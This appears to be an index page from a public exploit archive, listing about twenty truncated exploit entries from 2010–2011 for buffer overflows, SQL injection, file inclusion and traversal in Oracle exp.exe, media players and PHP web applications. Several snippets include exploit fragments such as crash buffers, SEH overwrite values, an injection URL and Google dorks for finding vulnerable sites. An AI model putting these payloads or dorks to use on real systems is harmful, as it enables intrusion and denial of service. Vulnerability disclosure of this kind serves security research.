Oracle 1011g - exp.exe?file Local Buffer Overflow

Oracle 1011g - exp.exe?file Local Buffer Overflow !/usr/bin/python Oracle 10/11g exp.exe - param file Local Buffer Overflow PoC Exploit Date found approx: 9/3/2010 Software Link: http://www.oracle.com/technology/products/database/oracle10g/index.html Version: 10.x and 11g r1 r2 untested Tested on...

Model Agentur Script SQL Injection Vunerability

Exploit for php platform in category web applications Exploit Title: Model Agentur Script SQL Injection Vunerability Platform: php Date: 05.02.2011 Author: NoNameMT Software Link: http://www.media-products.de/model-agentur-p-269.html AND http://www.media-products.de/model-agentur-v2-p-420.html...

Hanso Player 1.4.0.0 Buffer Overflow

Exploit Title: Hanso Player 1.4.0.0 Buffer Overflow - DoS Skinfile Date: 05.02.2011 Author: Dame Jovanoskibadc0re Software Link: http://www.hansotools.com/downloads/hanso-player-setup.exe Version: 1.4.0.0 Tested on: XP sp3 from struct import import time f=open"default.ini","w" print "Creating...

AoA DVD Creator 2.5 - ActiveX Stack Overflow

Exploit Title: AoA DVD Creator V2.5 Activex Date: Febrary 07 2011 Author: Carlos Mario Penagos Hollmann Software Link: http://www.aoamedia.com/aoadvdcreator.exe Version: v2.5 Tested on: Windows xp sp3 running on VMware Fusion 3.1 and VirtualBox 3.2.8 mail---- shogilord^gmail.com spams are...

Hanso Converter 1.1.0 - BufferOverflow Denial of Service

Exploit Title: Hanso Converter v1.1.0 Language File Buffer Overflow - Denial OF Service Date: 05.02.2011 Author: Dame Jovanoskibadc0re Software Link: http://www.hansotools.com/downloads/hanso-converter-setup.exe Version: v1.1.0 Tested on: XP sp3 Type of exploit:local from struct import import tim...

A-PDF All to MP3 Converter 2.0.0 - '.wav' Local Buffer Overflow (SEH)

Exploit Title: A-PDF All to MP3 Converter v.2.0.0 SEH overflow Software Link: http://www.a-pdf.com/all-to-mp3/download.htm Version: = 2.0.0 Tested on: Win XP SP2 English Date: 29/01/2011 Author: m0nna Email: [email protected] triggering details: Open the app, drag the crafted .wav file, cal...

ComercioPlus v.5.6 SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Comerciosonline CMS SQLi Google Dork: allintext: " Servicio ofrecido por ComerciosOnLine " Date: 27/01/2011 Author: Daniel Godoy Author Mail: DanielGodoyatGobiernoFederaldotcom Author Web: www.delincuentedigital.com.ar Software...

Siteframe 3.2.3 (user.php) SQL Injection Vulnerability

Exploit for php platform in category web applications Exploit Title: Siteframe 'user.php' SQL Injection Vulnerability Google Dork: "powered by Siteframe" Date: 29/12/2010 Author: AnGrY BoY Software Link: http://sitefrane.org/downloads/ Version: Siteframe 3.2.3 Tested on: windows SP2 CVE : N/A...

OpenEMR v3.2.0 SQL Injection and XSS

Exploit for php platform in category web applications Exploit Title: OpenEMR v3.2.0 Multiple Vulnerabilities Date: December 26, 2010 Author: Blake Software Link: http://sourceforge.net/projects/openemr/ Version: 3.2.0 Tested on: Windows XP SP3 Description: Open Source Practice Management,...

Word Splash Pro <= 9.5 Buffer Overflow

Exploit for windows platform in category local exploits Exploit Title: Word Splash Pro Word list-Import then click on Word List Builder button my $file = "1.wsl"; my $size = 4112; my $nseh = "\xeb\x06\x90\x90"; jump 6 bytes my $seh = pack'V', 0x01de44dc; pop pop ret from CRDE2000.DLL my $egg =...

Easy DVD Creator - Local Crash (PoC)

Exploit Title: Easy DVD Creator Local Crash PoC Software Link: http://www.divxtodvd.net/dvd-creator.htm Tested on: Win XP SP3 Date: 15-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.avi"; my $junk = "\x41" x 1000; open$FILE,"$file"; print $FILE $junk; close$FILE; print "File Created...

FreeAmp 2.0.7 Buffer Overflow

Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter Google Dork: N/A Date: 11/12/2010 Author: zota Thanks to Andrew; [email protected] Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup207.exe...

PowerShell XP 3.0.1 Buffer Overflow 0day

Exploit for windows platform in category local exploits !/usr/bin/python vuln finders : kmkz, zadyree, hellpast author : m101 site : http://binholic.blogspot.com/ Exploit Title: PowerShell XP 3.0.1 0day Date: 11/12/2010 Author: m101 Software Link:...

FreeAmp 2.0.7 - &#039;.m3u&#039; Local Buffer Overflow

Exploit Title: FreeAmp 2.0.7 .m3u Buffer Overflow - Egghunter Google Dork: N/A Date: 11/12/2010 Author: zota Thanks to Andrew; [email protected] Software Link: http://letoltes.szoftverbazis.hu/bfc5ec1d5e80cee5b5d3f78459113ed93c51f649/4d03800a/freeamp-v2-0-7-JI2/freeampsetup207.exe...

Joomla Billy Portfolio 1.1.2 Blind SQL Injection

Exploit Title: Joomla Component Billy Portfolio 1.1.2 Blind SQL Injection Date: 10 Dec 2010 Author: jdc Software Link: http://extensions.joomla.org/extensions/directory-a-documentation/portfolio/14834 Version: 1.1.2 index.php?option=combillyportfolio&view=billyportfolio&catid=-1 and...

WaveMax Sound Editor 4.5.1 - Denial of Service (PoC)

WaveMax Sound Editor 4.5.1 - Denial of Service PoC Exploit Title: WaveMax Sound Editor 4.5.1 Local Crash PoC Software Link: http://www.wave-max.com/wavemax/ Tested on: Win XP SP3 Date: 04-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.cda"; my $junk = "\x41" x 1000; open$FILE,"$file";...

WaveMax Sound Editor 4.5.1 - Denial of Service (PoC)

Exploit Title: WaveMax Sound Editor 4.5.1 Local Crash PoC Software Link: http://www.wave-max.com/wavemax/ Tested on: Win XP SP3 Date: 04-12-2010 Author: h1ch4m Email: [email protected] my $file= "1.cda"; my $junk = "\x41" x 1000; open$FILE,"$file"; print $FILE $junk; close$FILE; print "File Created...

iFTPStorage 1.3 Directory Traversal

x3l http://gahor-krisztian.hu/xel [email protected] Exploit: iFTPStorage for iPhone / iPod touch = 1.3 - Directory Traversal Date: 02/12/2010 Author: x3l Software Link: http://itunes.apple.com/us/app/iftpstorage/id333357690?mt=8 Version: 1.3 Tested on: iPhone 3GS with 4.2.1 firmware There is...

FreeTrim MP3 2.2.3 - Denial of Service

FreeTrim MP3 2.2.3 - Denial of Service Exploit Title: FreeTrim MP3 Local Crash PoC Software Link: http://www.freetrimmp3.com/downloads/FreeTrimMP3.exe Tested on: Win XP SP3 Date: 02-12-2010 Author: h1ch4m Email: [email protected] sahra dyalna o jazayrya khotna my $file= "1.cda"; my $junk = "\x41" x...

LittlePhpGallery 1.0.2 Local File Inclusion

Exploit for php platform in category web applications =========================================== LittlePhpGallery 1.0.2 Local File Inclusion =========================================== Exploit Title: local file include / File Disclosure Date: topic:littlePhpGallery Author: kire bozorge khavarmia...